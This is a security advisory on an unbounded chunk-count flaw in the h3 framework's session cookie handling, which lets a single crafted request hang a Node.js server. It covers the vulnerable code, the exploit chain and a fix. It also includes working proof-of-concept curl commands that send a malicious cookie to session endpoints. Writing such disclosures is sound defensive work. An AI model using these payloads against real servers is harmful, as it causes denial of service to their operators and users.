H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service

Summary

The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.

Details

The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.

The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:

function getChunkedCookieCount(cookie: string | undefined): number {
  if (!cookie?.startsWith(CHUNKED_COOKIE)) {
    return Number.NaN;
  }
  return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
  // No upper bound check — attacker controls this value
}

This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:

const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
  const previousChunkCount = getChunkedCookieCount(previousCookie);
  if (previousChunkCount > chunkCount) {
    for (let i = chunkCount; i <= previousChunkCount; i++) {
      deleteCookie(event, chunkCookieName(name, i), options);
      // Each deleteCookie → setCookie → scans ALL existing set-cookie headers
    }
  }
}

The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:

const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
  for (let i = 0; i < chunksCount; i++) {
    deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
  }
}

The exploit chain through sessions:

1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint
2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124)
3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request
4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143)
5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179)
6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182
7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small)
8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie()
9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106)
10. This creates O(n²) complexity — approximately 10¹² operations for n=999999

Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.

PoC

Prerequisites: An h3 application with any endpoint using getSession() or useSession().

Example minimal server:

import { H3 } from "h3";
import { getSession } from "h3";

const app = new H3();

app.get("/dashboard", async (event) => {
  const session = await getSession(event, {
    password: "my-secret-password-at-least-32-chars-long!",
  });
  return { user: session.data.user || "anonymous" };
});

export default app;

Attack (single request, no authentication):

# This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard

For a less extreme but still impactful test:

# ~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard

The deleteChunkedCookie() path is exploitable via clearSession():

app.post("/logout", async (event) => {
  await clearSession(event, {
    password: "my-secret-password-at-least-32-chars-long!",
  });
  return { ok: true };
});

curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout

Impact

• Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
• No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
• Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat.
• Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications.
• Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.

Recommended Fix

Add a maximum chunk count constant and validate in getChunkedCookieCount():

const MAX_CHUNKED_COOKIE_COUNT = 100;

function getChunkedCookieCount(cookie: string | undefined): number {
  if (!cookie?.startsWith(CHUNKED_COOKIE)) {
    return Number.NaN;
  }
  const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
  if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
    return Number.NaN;
  }
  return count;
}

This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.

Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0 is false.